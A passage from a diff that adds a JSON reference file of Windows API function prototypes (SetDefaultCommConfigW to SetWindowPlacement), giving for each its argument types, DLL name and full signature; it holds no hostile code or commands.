dwSize);" + }, + { + "function_name": "SetDefaultCommConfigW", + "arguments": [ + "LPCWSTR", + "LPCOMMCONFIG", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetDefaultCommConfigW(LPCWSTR lpszDevice, LPCOMMCONFIG lpCommConfig, DWORD dwSize);" + }, + { + "function_name": "SetDeviceGammaRamp", + "arguments": [ + "HDC", + "LPVOID" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetDeviceGammaRamp(HDC hdc, LPVOID lpRamp);" + }, + { + "function_name": "SetDIBColorTable", + "arguments": [ + "HDC", + "UINT", + "UINT", + "RGBQUAD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT SetDIBColorTable(HDC hdc,UINT uStartIndex, UINT cEntries, RGBQUAD *pColors);" + }, + { + "function_name": "SetDIBits", + "arguments": [ + "HDC", + "HBITMAP", + "UINT", + "UINT", + "CONST VOID *", + "CONST BITMAPINFO *", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetDIBits(HDC hdc,HBITMAP hbmp, UINT uStartScan, UINT cScanLines, CONST VOID * lpvBits, CONST BITMAPINFO * lpbmi, UINT fuColorUse);" + }, + { + "function_name": "SetDIBitsToDevice", + "arguments": [ + "HDC", + "int", + "int", + "DWORD", + "DWORD", + "int", + "int", + "UINT", + "UINT", + "CONST VOID *", + "CONST BITMAPINFO *", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetDIBitsToDevice(HDC hdc, int XDest,int YDest, DWORD dwWidth, DWORD dwHeight, int XSrc, int YSrc, UINT uStartScan, UINT cScanLines, CONST VOID * lpvBits, CONST BITMAPINFO * lpbmi, UINT fuColorUse);" + }, + { + "function_name": "SetDlgItemInt", + "arguments": [ + "HWND", + "int", + "UINT", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetDlgItemInt(HWND hwndDlg, int idControl, UINT uValue, BOOL fSigned);" + }, + { + "function_name": "SetDlgItemTextA", + "arguments": [ + "HWND", + "int", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetDlgItemTextA(HWND hwndDlg,int idControl, LPCTSTR lpsz);" + }, + { + "function_name": "SetDlgItemTextW", + "arguments": [ + "HWND", + "int", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetDlgItemTextW(HWND hwndDlg,int idControl, LPCWSTR lpsz);" + }, + { + "function_name": "SetDoubleClickTime", + "arguments": [ + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetDoubleClickTime(UINT uInterval);" + }, + { + "function_name": "SetEndOfFile", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetEndOfFile(HANDLE hFile);" + }, + { + "function_name": "SetEnhMetaFileBits", + "arguments": [ + "UINT", + "CONST BYTE *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HENHMETAFILE SetEnhMetaFileBits(UINT cbBuffer, CONST BYTE * lpData);" + }, + { + "function_name": "SetEnvironmentVariableA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetEnvironmentVariableA(LPCTSTR lpszName, LPCTSTR lpszValue);" + }, + { + "function_name": "SetEnvironmentVariableW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetEnvironmentVariableW(LPCWSTR lpszName, LPCWSTR lpszValue);" + }, + { + "function_name": "SetErrorMode", + "arguments": [ + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT SetErrorMode(UINT fuErrorMode);" + }, + { + "function_name": "SetEvent", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetEvent(HANDLE hEvent);" + }, + { + "function_name": "SetFileApisToANSI", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID SetFileApisToANSI(VOID);" + }, + { + "function_name": "SetFileApisToOEM", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID SetFileApisToOEM(VOID);" + }, + { + "function_name": "SetFileAttributesA", + "arguments": [ + "LPCTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetFileAttributesA(LPCTSTR lpFileName, DWORD dwFileAttributes);" + }, + { + "function_name": "SetFileAttributesW", + "arguments": [ + "LPCWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetFileAttributesW(LPCWSTR lpFileName, DWORD dwFileAttributes);" + }, + { + "function_name": "SetFilePointer", + "arguments": [ + "HANDLE", + "LONG", + "PLONG", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SetFilePointer(HANDLE hFile,LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);" + }, + { + "function_name": "SetFileSecurityA", + "arguments": [ + "LPCTSTR", + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetFileSecurityA( LPCTSTR lpszFile, SECURITY_INFORMATION si, PSECURITY_DESCRIPTOR psd );" + }, + { + "function_name": "SetFileSecurityW", + "arguments": [ + "LPCWSTR", + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetFileSecurityW( LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor );" + }, + { + "function_name": "SetFileTime", + "arguments": [ + "HANDLE", + "CONST FILETIME *", + "CONST FILETIME *", + "CONST FILETIME *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetFileTime(HANDLE hFile, CONST FILETIME * lpftCreation, CONST FILETIME * lpftLastAccess,CONST FILETIME * lpftLastWrite);" + }, + { + "function_name": "SetFocus", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND SetFocus(HWND hwnd);" + }, + { + "function_name": "SetForegroundWindow", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetForegroundWindow(HWND hwnd);" + }, + { + "function_name": "SetGraphicsMode", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetGraphicsMode(HDC hdc, int iMode);" + }, + { + "function_name": "SetHandleCount", + "arguments": [ + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT SetHandleCount(UINT cHandles);" + }, + { + "function_name": "SetHandleInformation", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetHandleInformation(HANDLE hObject, DWORD dwMask, DWORD dwFlags);" + }, + { + "function_name": "SetICMMode", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetICMMode(HDC hdc, int fICM);" + }, + { + "function_name": "SetICMProfileA", + "arguments": [ + "HDC", + "LPTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetICMProfileA(HDC hdc, LPTSTR lpFileName);" + }, + { + "function_name": "SetICMProfileW", + "arguments": [ + "HDC", + "LPWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetICMProfileW(HDC hdc, LPWSTR lpFileName);" + }, + { + "function_name": "SetJobA", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "LPBYTE", + "DWORD" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL SetJobA(HANDLE hPrinter, DWORD dwJob, DWORD dwLevel, LPBYTE lpbJob, DWORD dwCommand);" + }, + { + "function_name": "SetKeyboardState", + "arguments": [ + "LPBYTE" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetKeyboardState(LPBYTE lpbKeyState);" + }, + { + "function_name": "SetKernelObjectSecurity", + "arguments": [ + "HANDLE", + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetKernelObjectSecurity( HANDLE hObject, SECURITY_INFORMATION si, PSECURITY_DESCRIPTOR psd );" + }, + { + "function_name": "SetLastError", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID SetLastError(DWORD fdwError);" + }, + { + "function_name": "SetLastErrorEx", + "arguments": [ + "DWORD", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "VOID SetLastErrorEx(DWORD fdwError, DWORD fdwType);" + }, + { + "function_name": "SetLocalTime", + "arguments": [ + "CONST SYSTEMTIME *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetLocalTime(CONST SYSTEMTIME * lpst);" + }, + { + "function_name": "SetLocaleInfoA", + "arguments": [ + "LCID", + "LCTYPE", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetLocaleInfoA(LCID Locale, LCTYPE LCType,LPCTSTR lpLCData);" + }, + { + "function_name": "SetLocaleInfoW", + "arguments": [ + "LCID", + "LCTYPE", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetLocaleInfoW(LCID lcid, LCTYPE lctype, LPCWSTR data);" + }, + { + "function_name": "SetMailslotInfo", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetMailslotInfo(HANDLE hMailslot, DWORD dwReadTimeout);" + }, + { + "function_name": "SetMapMode", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetMapMode(HDC hdc, int fnMapMode);" + }, + { + "function_name": "SetMapperFlags", + "arguments": [ + "HDC", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD SetMapperFlags(HDC hdc, DWORD dwFlag);" + }, + { + "function_name": "SetMenu", + "arguments": [ + "HWND", + "HMENU" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetMenu(HWND hwnd, HMENU hmenu);" + }, + { + "function_name": "SetMenuContextHelpId", + "arguments": [ + "HMENU", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetMenuContextHelpId(HMENU hmenu, DWORD dwContextHelpId);" + }, + { + "function_name": "SetMenuDefaultItem", + "arguments": [ + "HMENU", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetMenuDefaultItem(HMENU hMenu, UINT uItem, UINT fByPos);" + }, + { + "function_name": "SetMenuItemBitmaps", + "arguments": [ + "HMENU", + "UINT", + "UINT", + "HBITMAP", + "HBITMAP" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetMenuItemBitmaps(HMENU hmenu, UINT uItem, UINT fuFlags, HBITMAP hbmUnchecked, HBITMAP hbmChecked);" + }, + { + "function_name": "SetMenuItemInfoA", + "arguments": [ + "HMENU", + "UINT", + "BOOL", + "LPMENUITEMINFO" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetMenuItemInfoA(HMENU hMenu, UINT uItem, BOOL fByPosition, LPMENUITEMINFO lpmii);" + }, + { + "function_name": "SetMenuItemInfoW", + "arguments": [ + "HMENU", + "UINT", + "BOOL", + "LPCMENUITEMINFOW" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetMenuItemInfoW(HMENU hMenu, UINT uItem, BOOL fByPosition, LPCMENUITEMINFOW lpmii);" + }, + { + "function_name": "SetMessageQueue", + "arguments": [ + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetMessageQueue(int cMessagesMax);" + }, + { + "function_name": "SetMetaFileBitsEx", + "arguments": [ + "UINT", + "CONST BYTE *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HMETAFILE SetMetaFileBitsEx(UINT nSize, CONST BYTE * lpData);" + }, + { + "function_name": "SetMetaRgn", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetMetaRgn(HDC hdc);" + }, + { + "function_name": "SetMiterLimit", + "arguments": [ + "HDC", + "FLOAT", + "PFLOAT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetMiterLimit(HDC hdc, FLOAT eNewLimit, PFLOAT peOldLimit);" + }, + { + "function_name": "SetNamedPipeHandleState", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetNamedPipeHandleState(HANDLE hNamedPipe, LPDWORD lpdwMode, LPDWORD lpcbMaxCollect, LPDWORD lpdwCollectDataTimeout);" + }, + { + "function_name": "SetPaletteEntries", + "arguments": [ + "HPALETTE", + "UINT", + "UINT", + "CONST PALETTEENTRY" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT SetPaletteEntries(HPALETTE hpal, UINT iStart, UINT cEntries, CONST PALETTEENTRY *lppe);" + }, + { + "function_name": "SetParent", + "arguments": [ + "HWND", + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND SetParent(HWND hwndChild, HWND hwndNewParent);" + }, + { + "function_name": "SetPixel", + "arguments": [ + "HDC", + "int", + "int", + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "COLORREF SetPixel(HDC hdc, int X, int Y, COLORREF crColor);" + }, + { + "function_name": "SetPixelFormat", + "arguments": [ + "HDC", + "int", + "const PIXELFORMATDESCRIPTOR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetPixelFormat(HDC hdc, int iPixelFormat, const PIXELFORMATDESCRIPTOR *ppfd);" + }, + { + "function_name": "SetPixelV", + "arguments": [ + "HDC", + "int", + "int", + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetPixelV(HDC hdc, int X, int Y, COLORREF crColor);" + }, + { + "function_name": "SetPolyFillMode", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetPolyFillMode(HDC hdc, int iPolyFillMode);" + }, + { + "function_name": "SetPrinterA", + "arguments": [ + "HANDLE", + "DWORD", + "LPBYTE", + "DWORD" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL SetPrinterA(HANDLE hPrinter, DWORD dwLevel, LPBYTE lpbPrinter, DWORD dwCommand);" + }, + { + "function_name": "SetPriorityClass", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetPriorityClass(HANDLE hProcess,DWORD fdwPriority);" + }, + { + "function_name": "SetPrivateObjectSecurity", + "arguments": [ + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR", + "PSECURITY_DESCRIPTOR", + "PGENERIC_MAPPING", + "HANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetPrivateObjectSecurity( SECURITY_INFORMATION si, PSECURITY_DESCRIPTOR psdSource, PSECURITY_DESCRIPTOR *lppsdTarget, PGENERIC_MAPPING pgm, HANDLE hClientToken );" + }, + { + "function_name": "SetProcessAffinityMask", + "arguments": [ + "HANDLE", + "DWORD_PTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetProcessAffinityMask(HANDLE hProcess, DWORD_PTR dwProcessAffinityMask);" + }, + { + "function_name": "SetProcessPriorityBoost", + "arguments": [ + "HANDLE", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetProcessPriorityBoost(HANDLE hProcess, BOOL DisablePriorityBoost);" + }, + { + "function_name": "SetProcessShutdownParameters", + "arguments": [ + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetProcessShutdownParameters(DWORD dwLevel, DWORD dwFlags);" + }, + { + "function_name": "SetProcessWindowStation", + "arguments": [ + "HWINSTA" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetProcessWindowStation(HWINSTA hWinSta);" + }, + { + "function_name": "SetProcessWorkingSetSize", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetProcessWorkingSetSize(HANDLE hProcess,DWORD dwMinimumWorkingSetSize, DWORD dwMaximumWorkingSetSize);" + }, + { + "function_name": "SetPropA", + "arguments": [ + "HWND", + "LPCTSTR", + "HANDLE" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetPropA(HWND hwnd, LPCTSTR lpsz, HANDLE hData);" + }, + { + "function_name": "SetPropW", + "arguments": [ + "HWND", + "LPCWSTR", + "HANDLE" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetPropW(HWND hwnd, LPCWSTR lpsz, HANDLE hData);" + }, + { + "function_name": "SetRect", + "arguments": [ + "LPRECT", + "int", + "int", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetRect(LPRECT lprc, int nLeft, int nTop, int nRight, int nBottom);" + }, + { + "function_name": "SetRectEmpty", + "arguments": [ + "LPRECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetRectEmpty(LPRECT lprc);" + }, + { + "function_name": "SetRectRgn", + "arguments": [ + "HRGN", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetRectRgn(HRGN hrgn, int nLeftRect, int nTopRect,int nRightRect, int nBottomRect);" + }, + { + "function_name": "SetROP2", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetROP2(HDC hdc, int fnDrawMode);" + }, + { + "function_name": "SetScrollInfo", + "arguments": [ + "HWND", + "int", + "LPSCROLLINFO", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "int SetScrollInfo(HWND hwnd, int fnBar, LPSCROLLINFO lpsi, BOOL fRedraw);" + }, + { + "function_name": "SetScrollPos", + "arguments": [ + "HWND", + "int", + "int", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "int SetScrollPos(HWND hwnd, int fnBar, int nPos, BOOL fRedraw);" + }, + { + "function_name": "SetScrollRange", + "arguments": [ + "HWND", + "int", + "int", + "int", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetScrollRange(HWND hwnd, int fnBar, int nMinPos, int nMaxPos, BOOL fRedraw);" + }, + { + "function_name": "SetSecurityDescriptorDacl", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "BOOL", + "PACL", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetSecurityDescriptorDacl( PSECURITY_DESCRIPTOR psd, BOOL fDaclPresent, PACL pAcl, BOOL fDaclDefaulted );" + }, + { + "function_name": "SetSecurityDescriptorGroup", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "PSID", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetSecurityDescriptorGroup( PSECURITY_DESCRIPTOR psd, PSID psidGroup, BOOL fGroupDefaulted );" + }, + { + "function_name": "SetSecurityDescriptorOwner", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "PSID", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetSecurityDescriptorOwner( PSECURITY_DESCRIPTOR psd, PSID psidOwner, BOOL fOwnerDefaulted );" + }, + { + "function_name": "SetSecurityDescriptorSacl", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "BOOL", + "PACL", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetSecurityDescriptorSacl( PSECURITY_DESCRIPTOR psd, BOOL fSaclPresent, PACL pAcl, BOOL fSaclDefaulted );" + }, + { + "function_name": "SetStdHandle", + "arguments": [ + "DWORD", + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetStdHandle(DWORD IDStdHandle, HANDLE hHandle);" + }, + { + "function_name": "SetStretchBltMode", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetStretchBltMode(HDC hdc, int iStretchMode);" + }, + { + "function_name": "SetSysColors", + "arguments": [ + "int", + "CONST INT", + "CONST COLORREF" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL WINAPI SetSysColors(int cDspElements, CONST INT *lpnDspElements, CONST COLORREF *lpdwRgbValues);" + }, + { + "function_name": "SetSystemCursor", + "arguments": [ + "HCURSOR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetSystemCursor(HCURSOR hCursor, DWORD dwCursorID);" + }, + { + "function_name": "SetSystemPaletteUse", + "arguments": [ + "HDC", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT SetSystemPaletteUse(HDC hdc, UINT uUsage);" + }, + { + "function_name": "SetSystemPowerState", + "arguments": [ + "BOOL", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetSystemPowerState(BOOL fSuspend, BOOL fForce);" + }, + { + "function_name": "SetSystemTime", + "arguments": [ + "CONST SYSTEMTIME *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetSystemTime(CONST SYSTEMTIME * lpst);" + }, + { + "function_name": "SetSystemTimeAdjustment", + "arguments": [ + "DWORD", + "PBOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetSystemTimeAdjustment(DWORD dwTimeAdjustment, PBOOL bTimeAdjustmentDisabled);" + }, + { + "function_name": "SetTapeParameters", + "arguments": [ + "HANDLE", + "DWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SetTapeParameters(HANDLE hDevice, DWORD dwOperation, LPVOID lpTapeInformation);" + }, + { + "function_name": "SetTapePosition", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SetTapePosition(HANDLE hDevice,DWORD dwPositionMethod,DWORD dwPartition, DWORD dwOffsetLow, DWORD dwOffsetHigh, BOOL bImmediate);" + }, + { + "function_name": "SetTextAlign", + "arguments": [ + "HDC", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT SetTextAlign(HDC hdc,UINT fMode);" + }, + { + "function_name": "SetTextColor", + "arguments": [ + "HDC", + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "COLORREF SetTextColor(HDC hdc, COLORREF crColor);" + }, + { + "function_name": "SetTextCharacterExtra", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetTextCharacterExtra(HDC hdc,int nCharExtra);" + }, + { + "function_name": "SetTextJustification", + "arguments": [ + "HDC", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetTextJustification(HDC hdc,int nBreakExtra,int nBreakCount);" + }, + { + "function_name": "SetThreadAffinityMask", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SetThreadAffinityMask(HANDLE hThread, DWORD dwThreadAffinityMask);" + }, + { + "function_name": "SetThreadContext", + "arguments": [ + "HANDLE", + "CONST CONTEXT *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetThreadContext(HANDLE hThread,CONST CONTEXT * lpContext);" + }, + { + "function_name": "SetThreadDesktop", + "arguments": [ + "HDESK" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetThreadDesktop(HDESK hDesk);" + }, + { + "function_name": "SetThreadIdealProcessor", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SetThreadIdealProcessor(HANDLE hThread, DWORD dwIdealProcessor);" + }, + { + "function_name": "SetThreadLocale", + "arguments": [ + "LCID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetThreadLocale(LCID Locale);" + }, + { + "function_name": "SetThreadPriority", + "arguments": [ + "HANDLE", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetThreadPriority(HANDLE hThread,int nPriority);" + }, + { + "function_name": "SetThreadPriorityBoost", + "arguments": [ + "HANDLE", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetThreadPriorityBoost(HANDLE hThread, BOOL DisablePriorityBoost);" + }, + { + "function_name": "SetThreadToken", + "arguments": [ + "PHANDLE", + "HANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetThreadToken( PHANDLE Thread, HANDLE Token );" + }, + { + "function_name": "SetTimer", + "arguments": [ + "HWND", + "UINT", + "UINT", + "TIMERPROC" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT SetTimer(HWND hwnd, UINT idTimer, UINT uTimeout, TIMERPROC tmprc);" + }, + { + "function_name": "SetTimeZoneInformation", + "arguments": [ + "CONST TIME_ZONE_INFORMATION *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetTimeZoneInformation(CONST TIME_ZONE_INFORMATION * lptzi);" + }, + { + "function_name": "SetTokenInformation", + "arguments": [ + "HANDLE", + "TOKEN_INFORMATION_CLASS", + "LPVOID", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetTokenInformation( HANDLE hToken, TOKEN_INFORMATION_CLASS tic, LPVOID lpvInformation, DWORD cbInformation );" + }, + { + "function_name": "SetUnhandledExceptionFilter", + "arguments": [ + "LPTOP_LEVEL_EXCEPTION_FILTER" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter);" + }, + { + "function_name": "SetupComm", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetupComm(HANDLE hCommDev, DWORD cbInQueue, DWORD cbOutQueue);" + }, + { + "function_name": "SetupCopyErrorA", + "arguments": [ + "HWND", + "PCTSTR", + "PCTSTR", + "PCTSTR", + "PCTSTR", + "PCTSTR", + "UINT", + "DWORD", + "PTSTR", + "DWORD", + "PDWORD" + ], + "dll_name": "setupapi.dll", + "full_prototype": "UINT SetupCopyErrorA( HWND hwndParent, PCTSTR DialogTitle, PCTSTR DiskName, PCTSTR PathToSource, PCTSTR SourceFile, PCTSTR TargetPathFile, UINT Win32ErrorCode, DWORD Style, PTSTR PathBuffer, DWORD PathBufferSize, PDWORD PathRequiredSize);" + }, + { + "function_name": "SetupDeleteErrorA", + "arguments": [ + "HWND", + "PCTSTR", + "PCTSTR", + "UINT", + "DWORD" + ], + "dll_name": "setupapi.dll", + "full_prototype": "UINT SetupDeleteErrorA( HWND hwndParent, PCTSTR DialogTitle, PCTSTR File, UINT Win32ErrorCode, DWORD Style);" + }, + { + "function_name": "SetUserObjectInformationA", + "arguments": [ + "HANDLE", + "int", + "PVOID", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetUserObjectInformationA(HANDLE hObject, int nIndex, PVOID lpvInfo, DWORD cbInfo);" + }, + { + "function_name": "SetUserObjectInformationW", + "arguments": [ + "HANDLE", + "int", + "PVOID", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetUserObjectInformationW(HANDLE hObject, int nIndex, PVOID lpvInfo, DWORD cbInfo);" + }, + { + "function_name": "SetUserObjectSecurity", + "arguments": [ + "HANDLE", + "PSECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetUserObjectSecurity(HANDLE hObject,PSECURITY_INFORMATION psi, PSECURITY_DESCRIPTOR psd);" + }, + { + "function_name": "SetViewportExtEx", + "arguments": [ + "HDC", + "int", + "int", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetViewportExtEx(HDC hdc, int nXExtent, int nYExtent, LPSIZE lpSize);" + }, + { + "function_name": "SetViewportOrgEx", + "arguments": [ + "HDC", + "int", + "int", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetViewportOrgEx(HDC hdc,int X, int Y, LPPOINT lpPoint);" + }, + { + "function_name": "SetVolumeLabelA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetVolumeLabelA(LPCTSTR lpRootPathName, LPCTSTR lpVolumeName);" + }, + { + "function_name": "SetVolumeLabelW", + "arguments": [ + "LPCWSTR", + "PCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetVolumeLabelW(LPCWSTR lpRootPathName, PCWSTR lpVolumeName);" + }, + { + "function_name": "SetWaitableTimer", + "arguments": [ + "HANDLE", + "const LARGE_INTEGER", + "LONG", + "PTIMERAPCROUTINE", + "LPVOID", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetWaitableTimer(HANDLE hTimer, const LARGE_INTEGER *pDueTime, LONG lPeriod, PTIMERAPCROUTINE pfnCompletionRoutine, LPVOID lpArgToCompletionRoutine, BOOL fResume);" + }, + { + "function_name": "SetWindowContextHelpId", + "arguments": [ + "HWND", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetWindowContextHelpId(HWND hwnd,DWORD dwContextHelpId);" + }, + { + "function_name": "SetWindowLongA", + "arguments": [ + "HWND", + "int", + "LONG" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG SetWindowLongA(HWND hwnd, int nIndex, LONG lNewLong);" + }, + { + "function_name": "SetWindowLongW", + "arguments": [ + "HWND", + "int", + "LONG" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG SetWindowLongW(HWND hwnd, int nIndex, LONG lNewLong);" + }, + { + "function_name": "SetWindowPlacement", + "arguments": [ + "HWND", + "CONST 